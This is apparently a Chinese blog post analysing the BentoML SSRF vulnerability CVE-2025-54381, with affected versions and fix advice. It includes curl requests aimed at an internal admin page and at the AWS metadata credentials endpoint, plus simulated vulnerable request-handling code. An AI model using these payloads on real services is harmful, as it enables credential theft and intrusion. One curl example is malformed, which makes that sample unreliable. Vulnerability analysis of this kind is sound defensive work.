BentoML高危SSRF漏洞CVE-2025-54381分析:原理、影响与核心代码

6 阅读6分钟

项目标题与描述

CVE-2025-54381 – BentoML高危SSRF漏洞分析

CVE-2025-54381是一个存在于BentoML(一个用于打包、运送和部署机器学习模型的Python框架)中的严重服务器端请求伪造(SSRF)漏洞。该漏洞允许攻击者通过构造特定的URL请求,使受影响的BentoML服务端向内部网络或云元数据服务发起未经授权的HTTP请求,可能导致敏感信息(如IAM凭证、服务密钥等)泄露。

  • CVE ID: CVE-2025-54381
  • 发布日期: 2025年7月30日
  • 发现者: Wiz Research Team
  • 报告至: GitHub Advisory Database & NVD
  • 严重等级: 严重
  • CVSS v3.1 分数: 9.9 / 10

功能特性(漏洞影响范围)

根据漏洞描述,该漏洞的成因与BentoML框架的特定功能紧密相关:

  • URL-based文件上传功能: BentoML的模型服务API支持通过URL接收文件输入,具体通过以下两种方式实现:
    1. Multipart Form Requests (多部分表单请求)
    2. JSON POST Requests (JSON POST请求)
  • 服务端文件下载: 当接收到包含URL的文件输入时,BentoML框架会代表用户(即攻击者)向该URL发起一个服务端的HTTP GET请求以下载文件。
  • 核心问题(漏洞点): 框架在发起这个服务端请求之前,未能对用户提供的URL进行充分的验证和过滤。这直接导致了SSRF漏洞。

安装指南(受影响的软件版本)

  • 受影响的软件: BentoML
  • 受影响版本:
    • 所有从 1.4.0 到并包括 1.4.19 的版本。
  • 建议: 使用受影响版本的用户应立即升级到已修复此漏洞的更高版本(1.4.20或之后)。

使用说明(漏洞利用方式)

该漏洞的利用关键在于构造恶意请求,诱骗BentoML服务器访问内部或受限制的资源。

基础利用示例

攻击者可以向部署的BentoML服务API发送一个特制的请求,其中文件输入字段包含一个指向内部服务的URL。

示例1:访问本地服务

curl -X POST "http://victim-bentoml-service/predict" \
  -H "Content-Type: application/json" \
  -d '{
    "file_url": "http://127.0.0.1:8080/admin"
  }'

这可能导致BentoML服务器访问其自身网络环境中的管理面板。

示例2:访问AWS云元数据

curl -X POST "http://victim-bentoml-service/predict" \
  -H "Content-Type: multipart/form-data" \
  -F "file=@(echo 'metadata');type=application/x-www-form-urlencoded" \
  -F "file_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

这可能导致BentoML服务器访问云主机实例的元数据服务,并可能返回附加到该实例的IAM角色的临时安全凭证。

典型攻击场景

  1. 内部网络探测与信息泄露: 攻击者可以扫描服务器所在内网的IP和端口,访问内部的数据库管理界面、版本控制系统或其他未公开的Web服务。
  2. 云环境凭证窃取: 在AWS、GCP、Azure等云环境中部署的BentoML服务,可能通过访问云供应商特定的元数据端点(如 169.254.169.254, metadata.google.internal)而泄露实例的访问令牌或角色凭证。
  3. 权限提升的跳板: 获取到的内部服务访问权限或云凭证可能被用于进一步攻击,横向移动至更关键的系统。

核心代码

以下是模拟漏洞核心逻辑的简化代码,展示了BentoML在处理URL文件输入时未进行验证的关键步骤。

import requests
from typing import Dict, Any
import json

class VulnerableBentoMLHandler:
    """
    模拟存在SSRF漏洞的BentoML请求处理器。
    该类展示了框架如何处理来自用户的URL并代表其发起请求。
    """
    def handle_json_request(self, request_data: Dict[str, Any]) -> bytes:
        """
        处理JSON格式的POST请求。
        从请求数据中提取`file_url`字段,并直接向其发起GET请求。
        漏洞:此处未对`file_url`进行任何验证(如是否为内网IP、保留地址等)。
        Args:
            request_data: 包含`file_url`等字段的JSON数据。
        Returns:
            从目标URL获取到的文件内容。
        """
        # 从用户请求中直接获取URL
        target_url = request_data.get('file_url')
        print(f"[!] 正在按用户请求访问URL: {target_url}")

        # 关键漏洞点:未经验证,直接向用户提供的URL发起请求
        response = requests.get(target_url, timeout=5)
        file_content = response.content
        print(f"[+] 成功从 {target_url} 获取到 {len(file_content)} 字节数据")
        return file_content

    def handle_multipart_request(self, form_data: Dict[str, str]) -> bytes:
        """
        处理Multipart表单请求。
        逻辑与JSON处理类似,同样缺少URL验证。
        Args:
            form_data: 包含`file_url`字段的表单数据。
        Returns:
            从目标URL获取到的文件内容。
        """
        target_url = form_data.get('file_url')
        print(f"[!] 正在按用户请求访问URL: {target_url}")
        response = requests.get(target_url, timeout=5)
        return response.content

# 模拟攻击者利用漏洞
if __name__ == "__main__":
    handler = VulnerableBentoMLHandler()

    # 攻击载荷1: 尝试访问AWS元数据
    malicious_payload_aws = {
        "file_url": "http://169.254.169.254/latest/meta-data/"
    }
    print("攻击示例1:访问AWS元数据端点")
    # handler.handle_json_request(malicious_payload_aws) # 实际攻击中会执行

    # 攻击载荷2: 尝试访问本地管理服务
    malicious_payload_internal = {
        "file_url": "http://localhost:8080/secret-admin-page"
    }
    print("\n攻击示例2:访问本地内部服务")
    # handler.handle_json_request(malicious_payload_internal) # 实际攻击中会执行

    print("\n漏洞原理:上述代码直接信任了用户输入的`file_url`,导致服务器可被用作代理访问任意地址。")
# 另一个视角:展示如何从API层接收参数并传递到漏洞函数
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/predict', methods=['POST'])
def predict():
    """
    BentoML服务API的预测端点。
    根据Content-Type,将请求分发给不同的处理器。
    此流程本身暴露了未经验证的URL输入点。
    """
    if request.content_type == 'application/json':
        data = request.get_json()
        # 直接将JSON数据传递给存在漏洞的处理器
        file_url = data.get('file_url')
        # ... 其他处理逻辑 ...
        # 最终会调用类似 `download_file_from_url(file_url)` 的函数
        return jsonify({"status": "processing", "input_url": file_url}), 202

    elif 'multipart/form-data' in request.content_type:
        file_url = request.form.get('file_url')
        # ... 其他处理逻辑 ...
        return jsonify({"status": "processing", "input_url": file_url}), 202

    return jsonify({"error": "Unsupported content type"}), 400

if __name__ == '__main__':
    app.run(debug=True)

代码注释总结:

  1. 第一段代码 (VulnerableBentoMLHandler) 核心展示了漏洞发生的直接位置:在 handle_json_requesthandle_multipart_request 方法中,直接从用户输入获取 target_url,并调用 requests.get() 发起网络请求,中间缺少了对该URL的白名单验证、黑名单过滤(针对内网IP、元数据域名等)或协议限制(如仅允许HTTP/HTTPS)
  2. 第二段代码 (Flask app) 展示了漏洞如何通过Web API暴露出来。用户通过向 /api/predict 端点发送POST请求,即可将恶意URL传入系统处理流程。
  3. 漏洞的本质是过度信任用户输入。修复方案通常是在下载文件前,增加一个严格的URL验证层,例如使用 urllib.parse.urlparse 解析URL,检查其 hostname 是否属于内网IP段或已知的危险域名(如云元数据端点),并拒绝此类请求。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAMFeIfFjMVN8vEBCGy26QDQ